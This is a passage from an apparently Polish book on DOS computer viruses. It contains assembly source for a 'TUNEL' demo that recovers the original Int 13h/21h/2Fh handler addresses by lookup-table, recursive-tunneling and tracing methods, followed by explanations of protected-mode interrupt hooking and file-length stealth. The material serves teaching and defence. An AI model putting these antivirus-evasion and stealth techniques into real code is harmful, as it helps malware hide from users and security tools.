           cmp  ax,cs:ShowSeg           ; czy segment kodu ten sam 
           je   OldSeg13                ; tak=wyskocz procedury 
 
                                        ; nie=zachowaj nowy adres seg:ofs 
           mov  cs:ShowSeg,ax           ; AX=CS image 
           mov  ax,[bp+02]              ; AX=IP image 
           mov  cs:ShowOfs,ax 
 
OldSeg13: 
           cmp cx,cs:MagicNum1          ; \ 
           jne Tracer_13Exit            ;  \ czy funkcja sie juz wykonala ? 
           cmp dx,cs:MagicNum2          ;  / nie=wyskocz z procedury 
           jne Tracer_13Exit            ; / 
 
           mov cs:TraceMode,OFF         ; tak=wylacz tracer, bo adres 
                                        ; znaleziony 

background image

Tracer_13Exit:                          ; koniec przerwania Int 1 
 
           pop ax                       ; przywroc zmieniany rejestr 
 
           or   byte ptr [bp+7],1       ; [bp+06]  FLAGS , ustaw 
                                        ; bit TF dla nastepnego rozkazu 
                                        ; wykonywanego po IRET 
 
           pop  bp                      ; przywroc zmieniany rejestr 
 
           iret                         ; powrot z przerwania Int 1 
 
Tracer_13  endp 
 
GetOriginal21  proc near 
 
           push si                      ; zachowaj zmieniany rejestr 
 
           lea  si,TeGet21              ; \ pokaz info o przerwaniu 21h 
           Call Print                   ; / 
 
           Call LookUpTable21           ; wez adres 21h 
                                        ; tablica stalych adresow 
           Call ShowAddr                ; pokaz adres 21h 
 
           Call Recursive21             ; wez adres 21h 
                                        ; metoda tunelingu rekursywnego 
           Call ShowAddr                ; pokaz adres 21h 
 
           Call Tracing21               ; wez adres 21h 
                                        ; metoda tracingu (tryb krokowy) 
           Call ShowAddr                ; pokaz adres 21h 
 
           pop  si                      ; przywroc zmieniany rejeetr 
 
           ret                          ; powrot z procedury 
 
GetOriginal21  endp 
 
LookUpTable21 proc near 
 

background image

           push es                      ; \ 
           push ax                      ;  \  zachowaj zmieniane rejestry 
           push bx                      ;  / 
           push si                      ; / 
 
           lea  si,TeLookUpTable21      ; \ wyswietl info o metodzie 
           Call Print                   ; / 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ShowError, offset TeLookUpTableFailDOSVer 
                                        ; ewentualny komunikat o bledzie 
 
           mov  ah,30h                  ; \ wez wersje DOS 
           int  21h                     ; / 
           xchg al,ah                   ; ax=wersja DOS, ah=major,al=minor 
 
           mov  bx,109Eh                ; ofset dla DOS 5.0 - 6.22 
 
           cmp  ax,0500h                ; wersja musi byc wieksza od 5.00 
           jb   LookUpTable21_Exit      ; mniejsza=tuneling nie zadziala 
 
           cmp  ax,0622h                ; dla wersji wiekszej od 6.22 
           jbe  DOSVerOk21              ; jest inny ofset 
 
           mov  bx,0FB2h                ; ofset dla DOS >6.22 (np. 7.0) 
 
DOSVerOk21:                             ; ofset ustawiony 
           push bx                      ; zachowaj go na stosie 
 
           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury 
           int  21h                     ; / LL (lista list) 
 
           pop  bx                      ; przywroc ze stosu ofset do skoku 
 
           mov  ShowError, offset TeLookUpTableFailBadOfs 
                                        ; ewentualny komunikat o bledzie 
 
                                        ; czy pod ES;BX jest sekwencja 

background image

                                        ; 90 lub EB      NOP \JMP $+3 
                                        ; 90 lub 03      NOP / 
                                        ; E8 xx xx       CALL NEAR [IP+xxxx] 
                                        ; 2E FF 2E yyyy  JMP FAR CS:[yyyy] ? 
           cmp  word ptr es:[bx],9090h 
           je   FirstCodeOK21           ; skocz, gdy sa 2 NOPy 
 
           cmp  word ptr es:[bx],03EBh 
           jne  LookUpTable21_Exit      ; skocz, gdy JMP $+3 
 
FirstCodeOK21: 
           cmp  byte ptr es:[bx+2],0E8h ; 
           jne  LookUpTable21_Exit      ; skocz, gdy nie ma CALL xxxx 
 
           cmp  word ptr es:[bx+5],0FF2Eh 
           jne  LookUpTable21_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far 
 
           cmp  byte ptr es:[bx+7],02Eh ; 
           jne  LookUpTable21_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far 
 
           mov  bx,word ptr es:[bx+8]   ; \ pobierz [yyyy]=adres oryginalnej 
procedury 
           les  bx,dword ptr es:[bx]    ; / 
 
           mov  ShowSeg,es              ; przepisz segment i offset 
           mov  ShowOfs,bx              ; potrzebne do wyswietlenia adresu 
 
LookUpTable21_Exit:                     ; skacz tu, gdy jakis blad 
 
           pop  si 
           pop  bx                      ; \ 
           pop  ax                      ;  - przywroc zmieniane rejeetry 
           pop  es                      ; / 
 
           ret                          ; powrot z procedury 
 
LookUpTable21 endp 
 
Recursive21 proc near 
 
           push es                      ; \ 

background image

           push ds                      ;  \ 
           push ax                      ;   \  zachowaj zmieniane rejestry 
           push bx                      ;   / 
           push si                      ;  / 
           push di                      ; / 
 
           lea  si,TeRecursive21        ; \ wyswietl info o metodzie 
           Call Print                   ; / 
 
           mov  ShowError, offset TeRecursive21Fail 
                                        ; ewentualny komunikat o bledzie 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury 
           int  21h                     ; / LL (lista list) 
           mov  bx,es 
 
           xor  ax,ax                   ; ustaw adres DS:SI na adres 
           mov  ds,ax                   ; przerwania 21h wskazywanego 
           mov  si,21h*4                ; przez tablice przerwa˝ 
           xchg ax,di                   ; DI=licznik sprawdzanych bajtow=0 
 
   Adres32: 
           lds     si,ds:[si]           ; pobierz adres 
 
           or      bx,bx                ; czy koniec szukania ? 
           jz      WSegmencieDOS        ; TAK - powrot DS:SI=adres 
 
 
           mov     ax,ds                ; \ czy jest to segment DOS ? 
           cmp     ax,bx                ; / 
 
           jne NastepnyBajt             ; TAK - znaleziony adres 
           xor     bx,bx                ; BX=0 oznacza koniec szukania 
 
   NastepnyBajt: 
           lodsw                        ; wez 2 bajty bedace czescia 
                                        ; aktualnej procedury 

background image

           dec     si                   ; sprawdzamy co bajt 
 
           cmp     al,9Ah               ; czy jest to CALL FAR PTR ? 
           je      Adres32              ; TAK - wez kolejny adres 
 
           cmp     al,0EAh              ; czy jest to JMP FAR PTR ? 
           je      Adres32              ; TAK - wez kolejny adres 
 
           cmp     ax,0FF2Eh            ; czy jest to JMP FAR CS:DWORD ? 
           jne     NieJMP_DWORD         ; 
 
           cmp     byte ptr [si+1],al   ; czy dalsza czesc rozkazu JMP FAR 
CS:DWORD ? 
           jne     NieJMP_DWORD         ; 
 
           mov     si,ds:[si+2]         ; pobierz ofset do danych dla skoku 
           jmp     short Adres32        ; TAK - wez kolejny adres 
 
NieJMP_DWORD: 
 
           inc     DI                   ; licznik sprawdzanych bajtow 
           and     DI,4095              ; jezeli sprawdzono juz > 4095 bajtow, 
           je      Recursive21_Exit     ; to koncz, bo tuneling nie dziala 
 
           jmp  NastepnyBajt            ; wez kolejny bajt 
 
WSegmencieDOS: 
                                        ; adres zostal znaleziony (jest w DS:SI) 
 
           mov  cs:ShowSeg,ds           ; przepisz segment i offset 
           mov  cs:ShowOfs,si           ; potrzebne do wyswietlenia adresu 
 
Recursive21_Exit:                       ; skacz tu, gdy jakis blad 
 
           pop  di                      ; \ 
           pop  si                      ;  \ 
           pop  bx                      ;   \ przywroc zmieniane rejeetry 
           pop  ax                      ;   / 
           pop  ds                      ;  / 
           pop  es                      ; / 
 

background image

           ret                          ; powrot z procedury 
 
Recursive21 endp 
 
Tracing21 proc near                     ; procedura popbiera oryginalny 
                                        ; adres Int 13h wykorzystujac 
                                        ; metode tracingu 
 
           push ds                      ; \ 
           push es                      ;  \ 
           push ax                      ;   \ zachowaj zmieniane rejestry 
           push bx                      ;    / 
           push cx                      ;   / 
           push dx                      ;  / 
           push si                      ; / 
 
           mov  ShowError, offset TeTracingFail 
                                        ; ewentualny komunikat o bledzie 
 
           lea  si,TeTracing21          ; \ wyswietl info o metodzie 
           Call Print                   ; / 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ah,62h                  ; \   pobierz info o aktualnym PSP 
           int  21h                     ;  \  i zachowaj na pozniej te wartosc 
           mov  MagicNum1,bx            ;   / (rejestr BX) bedzie ona 
                                        ;  /  potrzebna, zeby sprawdzic, czy 
                                        ; /   tracer jest juz w dobrym kodzie 
           mov  ax,3521h 
           int  21h                     ; \   wez adres przerwania Int 21h, 
           mov  CallFarSeg,es           ;  \  zeby mozna je bylo przetrace'ow 
           mov  CallFarOfs,bx           ;  /  trzeba je emulowac poprzez 
                                        ; /   pushf/call dword ptr Ofs:Seg 
 
           mov  TraceMode,OFF           ; flaga potrzebna dla tracera 
 
           mov  ax,3501h                ; \    pobierz adres obslugi 
           int  21h                     ;  \   przerwania krokowego Int 1 

background image

           mov  of1,bx                  ;   \ 
           mov  se1,es                  ;    \ i zmien je na nowa procedure 
                                        ;    - obslugi, sprawdzajaca czy 
           mov  dx,offset Tracer_21     ;   /  funkcja zostala juz wykonana 
           mov  ax,2501h                ;  /   przez DOS 
           int  21h                     ; / 
 
           pushf                        ; \    wlacz tryb krokowy 
           pop ax                       ;  \   procesora 
           or ah,1                      ;   \ 
           push ax                      ;  / 
           popf                         ; / 
 
           mov  ah,62h                  ; numer funkcji DOS 
           pushf                        ; czesc emulacji Int 21 
           mov  TraceMode,ON            ; wlacz flage tracera 
           Call dword ptr cs:IntAsFarCall ; emuluj int 21 
           mov  TraceMode,OFF           ; wylacz flage tracera 
 
           pushf                        ; \    wylacz tryb krokowy 
           pop  ax                      ;  \   procesora 
           and  ah,0FEH                 ;   \ 
           push ax                      ;  / 
           popf                         ; / 
                                        ; \  przywroc stary adres przerwania 
           lds  dx,dword ptr cs:of1     ;  / krokowego Int 1 
           mov  ax,2501h                ; / 
           int  21h 
 
           pop  si                      ; \ 
           pop  dx                      ;  \ 
           pop  cx                      ;   \ przywroc zmieniane rejestry 
           pop  bx                      ;    / 
           pop  ax                      ;   / 
           pop  es                      ;  / 
           pop  ds                      ; / 
 
           ret                          ; powrot z procedury 
 
Tracing21 endp 
 

background image

Tracer_21  proc far 
 
           push bp                      ; zachowaj zmieniany rejestr 
 
           mov  bp,sp                   ; BP wskazuje na stos 
                                        ; [bp+00]  BP 
                                        ; [bp+02]  IP 
                                        ; [bp+04]  CS 
                                        ; [bp+06]  FLAGS 
 
           push ax                      ; zachowaj zmieniany rejestr 
 
           cmp  cs:TraceMode,ON         ; czy wlaczony tracer ? 
           jne  Tracer_21Exit           ; jesli nie, to wyskocz z procedury 
 
           mov  ax,[bp+04]              ; AX=CS instrukcji 
           cmp  ax,cs:ShowSeg           ; czy segment kodu ten sam 
           je   OldSeg21                ; tak=wyskocz procedury 
 
           mov  cs:ShowSeg,ax           ; nie=zachowaj nowy adres seg:ofs 
           mov  ax,[bp+02]              ; AX=CS instrukcji 
           mov  cs:ShowOfs,ax           ; AX=IP instrukcji 
 
OldSeg21: 
           cmp bx,cs:MagicNum1          ; \ 
           jne Tracer_21Exit            ;  \  czy funkcja juz sie wykonala ? 
                                        ;   / nie=wyskocz z procedury 
           mov cs:TraceMode,OFF         ;  /  tak=wylacz tracer, bo adres 
                                        ; /   znaleziony 
 
Tracer_21Exit:                          ; koniec przerwania Int 1 
 
 
           pop ax                       ; przywroc zmieniany rejestr 
 
           or   byte ptr [bp+7],1       ; [bp+06]  FLAGS, ustaw 
                                        ; bit TF dla nastepnego rozkazu 
                                        ; wykonywanego po IRET 
 
           pop  bp                      ; przywroc zmieniany rejestr 
 

background image

           iret                         ; powrot z przerwania Int 1 
 
Tracer_21  endp 
 
GetOriginal2F  proc near 
 
           push si                      ; zachowaj zmieniany rejestr 
 
           lea  si,TeGet2F              ; \ pokaz info o przerwaniu 2Fh 
           Call Print                   ; / 
 
           Call LookUpTable2F           ; wez adres 2Fh 
                                        ; tablica stalych adresow 
           Call ShowAddr                ; pokaz adres 21h 
 
           pop  si                      ; przywroc zmieniany rejestr 
 
           ret                          ; powrot z procedury 
 
GetOriginal2F  endp 
 
LookUpTable2F proc near 
 
           push es                      ; \ 
           push ax                      ;  \ zachowaj zmieniane rejestry 
           push bx                      ;  / 
           push si                      ; / 
 
           lea  si,TeLookUpTable2F      ; \ wyswietl info o metodzie 
           Call Print                   ; / 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ShowError, offset TeLookUpTableFailDOSVer 
                                        ; ewentualny komunikat o bledzie 
 
           mov  ah,30h                  ; \ wez wersje DOS 
           int  21h                     ; / 
           xchg al,ah                   ; ax=wersja DOS, ah=major,al=minor 

background image

 
           mov  bx,10C6h                ; ofset dla DOS 5.0 - 6.22 
 
           cmp  ax,0500h                ; wersja musi byc wieksza od 5.00 
           jb   LookUpTable2F_Exit      ; mniejsza=tuneling nie zadziala 
 
           cmp  ax,0622h                ; dla wersji wiekszej od 6.22 
           jbe  DOSVerOk2F              ; jest inny ofset 
 
           mov  bx,0FDAh                ; ofset dla DOS >6.22 (np. 7.0) 
 
DOSVerOk2F:                             ; ofset ustawiony 
           push bx                      ; zachowaj go na stosie 
 
           mov  ah,52h                  ; \ pobierz do ES:BX adres struktury 
           int  21h                     ; / LL (lista list) 
 
           pop  bx                      ; przywroc ze stosu ofset do skoku 
 
           mov  ShowError, offset TeLookUpTableFailBadOfs 
                                        ; ewentualny komunikat o bledzie 
 
                                        ; czy pod ES;BX jest sekwencja 
                                        ; 90 lub EB      NOP \JMP $+3 
                                        ; 90 lub 03      NOP / 
                                        ; E8 xx xx       CALL NEAR [IP+xxxx] 
                                        ; 2E FF 2E yyyy  JMP FAR CS:[yyyy] ? 
           cmp  word ptr es:[bx],9090h 
           je   FirstCodeOK2F           ; skocz, gdy sa 2-a NOPy 
 
           cmp  word ptr es:[bx],03EBh 
           jne  LookUpTable2F_Exit      ; skocz, gdy JMP $+3 
 
FirstCodeOK2F: 
           cmp  byte ptr es:[bx+2],0E8h ; 
           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma CALL xxxx 
 
           cmp  word ptr es:[bx+5],0FF2Eh 
           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far 
 
           cmp  byte ptr es:[bx+7],02Eh ; 

background image

           jne  LookUpTable2F_Exit      ; skocz, gdy nie ma czesci rozkazu jmp far 
 
           mov  bx,word ptr es:[bx+8]   ; \ pobierz [yyyy]=adres oryginalnej 
procedury 
           les  bx,dword ptr es:[bx]    ; / 
 
           mov  ShowSeg,es              ; przepisz segment i ofset 
           mov  ShowOfs,bx              ; potrzebne do wyswietlenia adresu 
 
LookUpTable2F_Exit:                     ; skacz tu, gdy jakis blad 
 
           pop  si 
           pop  bx                      ; \ 
           pop  ax                      ;  - przywroc zmieniane rejestry 
           pop  es                      ; / 
 
           ret                          ; powrot z procedury 
 
LookUpTable2F endp 
 
 
ShowAddr proc near                      ; wyswietl adres w postaci 
                                        ; seg:ofs heksalnie na podstawie 
                                        ; zawartosci zmiennych 
                                        ; ShowSeg i ShowOfs 
 
           push ax                      ; \ zachowaj zmieniany rejestr 
           push si                      ; / 
 
           mov  si,ShowError            ; \ wez adres komunikatu o ewentualnym 
                                        ; / bledzie 
           mov  ax,ShowSeg              ; czy seg i ofs sa wyzerowane, 
           or   ax,ShowOfs              ; tzn czy nie znaleziono adresu ? 
           jz   ShowAddrError           ; tak=nie znaleziono adresu 
 
           mov  ax,ShowSeg              ; \ wyswietl segment 
           Call PrintHexDW              ; / 
 
           mov  al,':'                  ; \ wyswietl dwukropek 
           Call PrintChar               ; / 
 

background image

           mov  ax,ShowOfs              ; \ wyswietl ofset 
           Call PrintHexDW              ; / 
 
           lea  si,TeCRLF               ; \  wyswietl CR,LF, 
ShowAddrError:                          ;  - czyli przejdz do nastepnego wiersza 
           Call Print                   ; /  lub komunikat o bledzie 
 
           pop  si                      ; \ 
           pop  ax                      ; / przywroc zmieniany rejestr 
 
           ret                          ; powrot z procedury 
 
ShowAddr endp 
 
PrintHexDW proc near                    ; procedura wyswietla heksalnie 
                                        ; liczbe zawarta w AX 
 
           push ax                      ; \ zachowaj zmieniane rejestry 
           push bx                      ; / 
 
           lea  bx,HexChars             ; bx wskazuje na tablice konwersji 
                                        ; liczb heksadecymalnych 0..F 
 
           Call PrintHex                ; wyswietl liczbe w AX 
 
           pop  bx                      ; \ przywroc zmieniane rejestry 
           pop  ax                      ; / 
 
           ret                          ; powrot z procedury 
 
PrintHexDW endp 
 
PrintHex   proc near 
 
           push ax                      ; zachowaj mlodsza czesc adresu 
 
           mov al,ah                    ; AL=starsza czesc adresu 
           Call PrintHexDB              ; wyswietl starsza czesc adresu 
 
           pop ax                       ; przywroc mlodsza czesc adresu 
 

background image

PrintHexDB:                             ; wyswietl czesc adresu z al 
 
           mov  ah,al                   ; zachowaj na chwile te czesc 
 
           shr  al,1                    ; \   wyswietl starsza czesc bajtu 
           shr  al,1                    ;  \  al przesuniete o 4 w prawo 
           shr  al,1                    ;   \ 
           shr  al,1                    ;   / 
           xlat byte ptr cs:[bx]        ;  /  al=[bx+al] 
           Call PrintChar               ; /   wyswietl znak w AL 
 
           mov  al,ah                   ; \   wyswietl mlodsza czesc bajtu 
           and  al,15                   ;  \  al zamaskowane z 00001111b 
           xlat byte ptr cs:[bx]        ;  / al=[bx+al] 
           Call PrintChar               ; /  wyswietl znak w AL 
 
           ret                          ; powrot z procedury 
PrintHex endp 
 
Print proc near                         ; procedura wyswietla tekst ASCIIZ 
                                        ; spod adresu CS:SI 
 
           push ax                      ; \ zachowaj zmieniane rejestry 
           push si                      ; / 
 
GetNextChar: 
           lods byte ptr cs:[si]        ; wez kolejny znak 
           or   al,al                     ; czy znak jest zerem 
           jz   PrintExit                 ; tak=koniec napisu; wyjdz z petli 
           Call PrintChar               ; nie=wyswietl znak w AL 
                                        ; 
           jmp short GetNextChar        ; i wez nastepny znak 
 
PrintExit: 
           pop  si                      ; \ przywroc zmieniane rejestry 
           pop  ax                      ; / 
 
           ret                          ; powrot z procedury 
 
Print endp 
 

background image

PrintChar proc near                     ; procedura wyswietla znak w AL 
 
           push ax                      ; zachowaj zmieniany rejestr 
 
           mov  ah,0Eh                  ; funkcja BIOS 
           int  10h                     ; wyswietl znak w AL 
 
           pop  ax                      ; przywroc zmieniany rejestr 
 
           ret                          ; powrot z procedury 
 
PrintChar endp 
 
 
TeCopyRight: 
            db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL 
 
TeGet13     db CR,LF,'Adres oryginalnej procedury 13h : ' 
            db CR,LF,NUL 
 
TeGet21     db CR,LF,'Adres oryginalnej procedury 21h : ' 
            db CR,LF,NUL 
TeGet2F     db CR,LF,'Adres oryginalnej procedury 2Fh : ' 
TeCRLF      db CR,LF,NUL 
 
TeTrik2F13         db '      _ trik Int 2Fh/13h               := ',NUL 
TeTracing13        db '      _ tracing 13h                    := ',NUL 
 
TeLookUpTable21    db '      _ tablica stalych adresow 21h    := ',NUL 
TeRecursive21      db '      _ tuneling rekursywny 21h        := ',NUL 
TeTracing21        db '      _ tracing 21h                    := ',NUL 
 
TeLookUpTable2F    db '      _ tablica stalych adresow 2Fh    := ',NUL 
 
TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL 
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL 
TeTracingFail           db 'Blad : Tracing nie dziala',CR,LF,NUL 
TeRecursive21Fail       db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL 
 
HexChars    db '0123456789ABCDEF' 
 

background image

    ShowSeg   dw ?                      ; zmienne pomocnicze do zachowywania 
    ShowOfs   dw ?                      ; znalezionego adresu 
 
    ShowError dw ?                      ; zmienna dla ewentualnych bledow 
 
          of1 dw ?                      ; zmienne potrzebne do zachowywania 
          se1 dw ?                      ; adresu Int 1 
 
IntAsFarCall  label dword               ; adres dalekiej procedury sluzacej do 
   CallFarOfs dw ?                      ; emulacji instrukcji INT 
   CallFarSeg dw ? 
 
    TraceMode db ?                      ; flaga ON=wlaczony/OFF= wlaczony tracer 
 
    MagicNum1 dw ?                      ; zmienne pomocnicze do przechowywania 
    MagicNum2 dw ?                      ; wartosci potrzebnych do sprawdzenia czy 
                                        ; jestesmy juz we wlasciwym kodzie 
DOS/BIOS 
 
PROG ends                               ; koniec segmentu kodu i danych 
end CodeStart                           ; koniec programu, pierwsza instrukcja 
                                        ; pod etykieta CodeStart 
 
 
6.5. Wykorzystanie trybu chronionego 
Tryb chroniony nie j

est zbyt często wykorzystywany przez wirusy, jednak kilka z nich 

używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do 
trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane 
najpierw do wirusa, a dopie

ro ten przekaże je do oszukiwanego systemu poprzez 

chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, 
aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do 
pamięci powyżej 1MB. 
W przypadku sys

temu Windows do przejmowania przerwań można wykorzystać fakt, iż 

udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode 
Interface). 
Do przejmowania przerwań służą funkcje: 
> 0200h - 

odczytanie wektora przerwań trybu rzeczywistego; 

> 0201h - 

zapisanie wektora przerwań trybu rzeczywistego; 

> 0202h - 

odczytanie adresu procedury obsługi wyjątku; 

> 0203h - 

ustawienie adresu procedury obsługi wyjątku; 

> 0204h - 

odczytanie wektora przerwań trybu wirtualnego; 

> 0205h - 

zapisanie wektora przerwań trybu wirtualnego; 

Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. 
Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji 

background image

(1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego 
zawarte są w pozycjach [l] i [6] ze spisu na końcu książki. 
 
6.6. Włączanie się jako program obsługi urządzenia 
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on 
oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co 
zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP 
 

ROZDZIAŁ 7

 

 
Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie 
wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie 
wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących 
programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus 
znika wkrótce z wirusowej sceny. 
Niniejszy roz

dział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania 

się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w 
pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe 
ukrywają wirusa przed oczyma ciekawskich. 
 
7.1. Technika stealth
 
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku 
plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, 
wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią 
sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym 
powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki 
stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się 
wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji 
systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe. 
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora 
urucha

miane są mechanizmy wirusa, które mają na celu oszukanie użytkownika. 

Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez 
wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały 
omówione poniżej. 
 
7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth

Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych 
długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w 
oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows 
Commander czy też innych, mniej znanych nakładek. 
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z 
trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego 
wy

stąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). 

Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje 
odpowiednie pola struktur, na których operuje dana funkcja. 
W momencie wykonywania jednej z funk

cji wirus wywołuje pierwotny program obsługi 

background image

przerwania, a następnie modyfikuje elementy odpowiedniej struktury: 
> pozycji katalogu (funkcje 11/12); 
> DTA (funkcje 4E/4F); 
> FindData (funkcje 714E/714F). 
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w 
odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, 
będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są 
oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku. 
 
7.1.1.1. 

Polecenie DIR wywoływane z poziomu DOS 

Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych 
specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody 
operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control 
Block}, 
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, 
zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), 
których opis przedstawiono w kolejnych tabelach. 
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku 
FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe 
pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym 
blokiem opisu pliku. 
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza 
go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu 
pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola 
długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B). 
Struktura bloku opisu pliku FCB (zwykłego) 
Adres 

Zawartość 

00 

numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok 
opisu pliku FCB 

01-08 

8 bajtów nazwy pliku 

09-0B 

3 bajty rozszerzenia pliku   

0C-0D 

  numer aktualnego bloku   

0E-0F 

długość logicznego rekordu 

10-13 

długość pliku 

14-15 

data ostatniej modyfikacji pliku 

16-17 

czas ostatniej modyfikacji pliku 

18 

ilość SFT dla pliku 

19 

atrybuty, znaczenie bitów 
bity 7-6   
00 - 

SHARE.EXE niezaładowany, plik dyskowy   

01                          - 

SHARE.EXE niezaładowany, sterownik 

10                          - 

SHARE.EXE załadowany, plik zdalny 

11                          - 

SHARE.EXE załadowany, plik dyskowy 

                                      lub sterownik bity 5-

0 mniej znaczące 6 bitów ze słowa 

atrybutów 

1A-1F 

zawartość zależna od pola 19, bity 7-6   
wartość 11 

background image

      1A-1B                  numer pierwszej JAP pliku   
      1C-

1D                  określa numer rekordu w dostępie dzielonym   

      1E                            atrybuty pliku   
     

1F                            nie używane wartość   

10 
      1A-1B                  uchwyt w sieci   
      1C-

1F                  ID w sieci wartość   

01 
      1A-

1D                  wskaźnik do nagfówka sterownika   

      1E-1F                 

nie używane   

wartość 00   
      1A                            bajt informacyjny                 
      bit 7:            atrybut tytko do odczytu w SFT                 
     

bit 6:            atrybut archiwalności w SFT                 

      bity 5-

0:    wyższe bity numeru sektora   

      1B-1C                  numer pierwszej JAP pliku   
      1D-

1F                  niższe bity sektora zawierającego adres w katalogu   

     

1F                            ilość pozycji katalogu w sektorze 

20 

bieżący rekord   

21-24 

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, 
bardziej znacząca część jest pomijana 

                       
Struktura bloku opisu pliku FCB (rozszerzonego) 
Adres 

Zawartość 

00 

wartość OFFh oznacza blok rozszerzony   

01-05 

zarezerwowane 

06 

atrybuty pliku   

07-2B 

zwykły blok opisu FCB (patrz poprzednia tabela) 

 
Struktura pola opisu pozycji katalogu 
Adres 

Zawartość 

00-07 

nazwa pliku 

08-0A 

rozszerzenie pliku 

0B 

atrybuty pliku   

0C-15 

zarezerwowane 

16-17 

czas ostatniej modyfikacji pliku   

18-19 

data ostatniej modyfikacji pliku   

1A-1B 

numer pierwszej JAP   

1C-1F 

długość pliku 

 
7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, 
Windows 3.1) 
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki 
rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania 
tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji 
katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się 
natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, 

background image

należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie 
odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury. 
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 
1A-1D) oraz czas i data (adresy 16-17 i 18-19). 
Struktura DTA 
Adres 

Zawartość 

00 

znaczenie bitów: 
      bity 6-

0 numer napędu                   

      bit 7    ustawiony, oznacza plik zdalny 

01-0B 

